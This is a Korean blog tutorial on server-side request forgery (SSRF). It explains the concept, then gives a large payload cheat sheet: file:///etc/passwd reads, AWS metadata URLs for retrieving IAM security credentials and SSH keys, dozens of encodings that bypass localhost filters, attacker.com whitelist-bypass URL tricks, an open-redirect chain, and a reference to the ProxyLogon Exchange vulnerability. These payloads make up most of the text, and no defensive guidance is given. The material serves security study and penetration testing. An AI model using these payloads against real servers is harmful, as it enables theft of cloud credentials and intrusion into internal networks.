SSRF란 무엇인가?
SSRF는 클라이언트측의 입력값을 위조시켜 위조된 HTTP 요청을 보내, 일반적으로 외부에서 접근이 불가능한 서버 내부망에 접근(Access) 하여, 데이터 유출 및 서버의 기밀성, 가용성, 무결성을 파괴한다. SSRF 의 경우 CSRF 공격과 유사하지만, 공격이 이루어지는 부분이 클라이언트측이냐 서버측이냐의 차이점이 존재한다.
💡 SSRF 공격이 성공적으로 Exploit 될 경우 추가 공격으로 이루어지므로, 피해가 크다.
어떻게 발생하는가?
- 모든 클라이언트측의 요청에 응답을 한 서버에서 다루기에는 무리가 있다. 그러므로 각 서버끼리의 API를 통해 서버끼리 내부적으로 통신을 통해 요청과 응답이 이루어진다. 이때 접근 가능한 내부 IP를 통해 이루어지므로 SSRF 의 경우 루프백(Loopback) 주소인 127.0.0.1 을 사용하여 공격이 주로 이루어진다.
공격 표면 (Attack Vactor)
주로 URL을 통해 HTTP 요청과 응답에 URL에 관련된 정보가 있을 경우 SSRF 의 잠재적 공격 표면이 될 수 있으며, 특정 웹 사이트의 정보를 불러들어 오는 부분을 유심히 봐야한다.
하지만 외에도 다른 서비스로의 요청을 하는 기능에서도 많이 발견되고 있다.
SSRF 의 취약점 판별은 OAST를 통한 out-of-band 기술을 통해 쉽게 파악할 수 있다. OAST를 통해 외부로의 접점을 확인할 수 있으며, 외부로의 통신이 막혀 있다면, loaclhost, 사설 IP등을 호출하여 접근 가능 여부를 파악할 수 있다.
특히나 SSRF 공격의 경우, DMZ 뒤쪽에서 동작하기에, ACL 등 보안정책을 우회할 수 있다.
보통 SSRF의 경우 서버단에서는 허용된 IP에 대해서만 화이트 리스트 기반을 통해서만 트정 서비스로의 요청이 실행된다.
SSRF 를 활용한 공격 방식은 크게 3가지로 분류할 수 있다.
1. Port Scan 및 내부 시스템 파일 탈취
SSH 서비스 포트를 스캔할 시 file?=http//[IP]:22 구문 사용
[리눅스/유닉스]
file?=http://file:///etc/passwd
-- 허용하는 URL 스키마를 사용하여 접근 --
💡 SSRF 의 경우 프로토콜에 대한 제한을 받지 않기때문에 FTP, SMTP, … 등 과 URI 스킴이 상용 가능하다.
2. Porxy Logon 기반 SSRF
2021년 CVE에 등록된 공개 취약점인 MS Exchange SSRF 를 활용
- X-BEResoucrce 쿠키 변조를 통해 내부 서버 리소스 접근 가능
💡 X-BEResource는 Microsoft Exchange 서버에서 사용되는 특별한 HTTP 헤더이며, 이 헤더는 Exchange 서버의 원격 프로시저 호출(RPC) 기능에 대한 액세스를 관리하는데 사용된다.
- /etc/proxyLogon.ecp 파일을 호출하여, 강제로 세션 연결이 가능한 proxyLogon을 이용해 별도의 인증 없이 공격자와 Exchange server와 HTTP연결 수행
해당 방법은 CVE-2021-26855 를 통해 자세하게 확인 가능하다.
AWS 클라우드 기반 SSRF
💡 AWS 외에도 GCP, Azre, Digital Ocean등 public cloud를 사용하는 경우 Metadata API 로의 접근을 통해 instance에 대한 정보를 얻거나 중요한 키 값을 얻어 시스템을 탈취할 수 있다.
[AWS]
# 169.254.169.254
w
<http://169.254.169.254/latest/user-data/iam/security-credentials/>[ROLE NAME]
<http://169.254.169.254/latest/meta-data/>
<http://169.254.169.254/latest/meta-data/iam/security-credentials/>[ROLE NAME]
<http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance>
<http://169.254.169.254/latest/meta-data/ami-id>
<http://169.254.169.254/latest/meta-data/reservation-id>
<http://169.254.169.254/latest/meta-data/hostname>
<http://169.254.169.254/latest/meta-data/public-keys/>
<http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key>
<http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key>
<http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy>
<http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access>
<http://169.254.169.254/latest/dynamic/instance-identity/document>
# instance-data
<http://instance-data/latest/meta-data>
<http://instance-data/latest/meta-data/hostname>
<http://instance-data/latest/meta-data/public-keys/>
대표적으로 AWS의 Metadata API로의 접근 경로이다. 이 외에 다양한 API는 아래 링크에서
확인이 가능하다.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Request Forgery#ssrf-url-for-cloud-instances
이렇게 외부에서 접근할 수 없는 위치에 존재하는 내부단에 접근하기 위해 LocalHost 주소를 통해 우회를 하게될 경우 localhost 를 필터링을 하는경우가 대부분이다.
Bypass
URL Parser 의 pasing 방법부터 알아보자.
위와 같은 형식으로 URI를 나누어서 해석할 수 있다.
💡 각 Parser 마다 pasing 방법이 상이할 수 있다.
보통 아래와 같은 형식으로 우회를 주로 시도한다.
<http://attack.com#trust.com>
or
<http://trust.com@attack.com>
- 위와같이 사용했을 때 # 이전의 url로 접근하는 이유는 일반적으로 #은 브라우저에서 사용되는 프래그먼트 식별자이며, 서버로는 전달되지 않기 때문이다.
- 또한 @를 쓸 경우 @이후의 url로 접근하는 것은 @는 URL에서 호스트를 구분하는 일반적인 구분문자이다. @다음에 원하는 주소를 사용할 경우 내부 서버에 접근 할 수 있다. 또한 몇몇 취약한 구현방식에서는 @를 호스트 구분 문자로 사용되지 않거나, 충분한 검증이 이루어지지 않을 수 있다.
Bypass ‘127.0.0.1’
- localhost 주소가 BlackList 기반 정책을 통해 필터링 될 때 이를 우회할 수 있다.
주로 사용하는 loopback 주소를 우회하는 방법은 아주 다양하다.
크게 나누자면
- 127.0.0.1 과 매핑된 도메인 주소 사용
- 127.0.0.1 의 alias 사용
- localhost의 alias 사용
# Localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪
http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/
# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821
# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001
# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
# Add 0s bypass
127.000000000000.1
# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php
# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1
whitelist-based Bypass
백엔드 시스템에 접근하기 위해서는 서버측에서 신뢰할 수 있는 주소로만 접근 가능하도록
Whitelist 기반으로 필터링 정책이 이루어져 있을 수 있다.
이 때 위에서 보았듰이 URL 파서의 파싱원리를 통해 우회 가능한 많은 방법들이 존재한다.
<http://attack.com#trust.com>
or
<http://trust.com@attack.com>
만약 URL 파서가 @가 있는 경우, 호스트 부분을 추출하여 허용된 도메인과 비교하고, #기호가 있는 경우 요청을 거부한다면 SSRF 필터링은 주로 호스트 부분을 검증하고 차단하는 데 초점을 맞추기 때문에 이를 혼용해서 사용할 수 있다.
<http://attack.com/@internal-server#example>
💡 또한 http://127.0.0.1/admin 과 같은 Payload에서 문자를 url 인코딩을 통해서도 우회가 가능하다.
<http://127.0.0.1/%61dmin>
<http://127.0.0.1/%2561dmin**>
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}.attacker.com
<https://attacker.com/{domain}>
<https://attacker.com/?d={domain}>
<https://attacker.com#{domain}>
<https://attacker.com>@{domain}
<https://attacker.com#@{domain}>
<https://attacker.com>%23@{domain}
<https://attacker.com>%00{domain}
<https://attacker.com>%0A{domain}
<https://attacker.com?{domain}>
<https://attacker.com///{domain}>
<https://attacker.com>\\{domain}/
<https://attacker.com>;https://{domain}
<https://attacker.com>\\{domain}/
<https://attacker.com>\\.{domain}
<https://attacker.com/.{domain>}
<https://attacker.com>\\@@{domain}
<https://attacker.com>:\\@@{domain}
<https://attacker.com#\\@{domain}>
<https://attacker.com>\\anything@{domain}/
<https://www.victim.com>(\\u2044)some(\\u2044)path(\\u2044)(\\u0294)some=param(\\uff03)hash@attacker.com
# On each IP position try to put 1 attackers domain and the others the victim domain
&@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
\ 의 경우 RFC3986 과 WHATWG URL 두 개의 표준이 서로 인식하는 바가 다르기에 사용할 수 있다. 최신 브라우저는 WHATWG URL을 구현한다.
입력값(URL)이 특정 경로 또는 확장자로 끝나거나, 화이트리스트에 등록된 패스가 포함되어야 하는 경우라면?
<https://metadata/vulerable/path#/expected/path>
<https://metadata/vulerable/path#.extension>
<https://metadata/expected/path/..%2f..%2f/vulnerable/path>
위와같이 사용할 수 있다.
Bypass via open redirect
SSRF 에 대한 검증 절차가 잘 이루어져 있어 공격이 힘들 경우 Open redirect를 통한 우회가 가능하다.
GET /product/choiseProduct?choiseProductId=6&path=http://evil-user.net
위와 같은 url 과 reirect 기능이 존재하는 요청문이 있다면,
http://evil-user.net로 redirect 될것이다. 이부분을 아래와같이 악용할 수 있다.
GET /product/choiseProduct?choiseProductId=6&path=http:192.168.0.10/admin
위 내용을 SSRF 취약점이 예상되는 API 앤드포인트에 적어주면 된다.
POST /product/choise HTTP/2
'''
'''
'''
api-endpoing=/product/choiseProduct?choiseProductId=6&path=http:192.168.0.10/admin
💡 특정 기능에서 http://uri~ 로의 요청 로직이 있을 경우 이 때 file 과 같은 다른 URI 스킴을 사용할 수 있으며, file 스킴의 경우 file:/, file://, file:/// 모두 사용할 수 있다.
Reference
https://www.hahwul.com/cullinan/ssrf/
https://www.igloo.co.kr/security-information/category/issue/page/1/
https://portswigger.net/web-security/ssrf
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass
'Web > Web Hacking Techniques' 카테고리의 다른 글
Flask Debugger (Console Mode) Vulnerabilities (0) | 2025.05.13 |
---|---|
브라우저의 URL 정규화 방식(Proxy Tool Bypass) (0) | 2025.05.13 |
Encoding Obfuscation (0) | 2025.05.07 |
401&403(Access Control) Bypass (0) | 2025.05.07 |
ZIP Slip Vulnerability (0) | 2025.05.06 |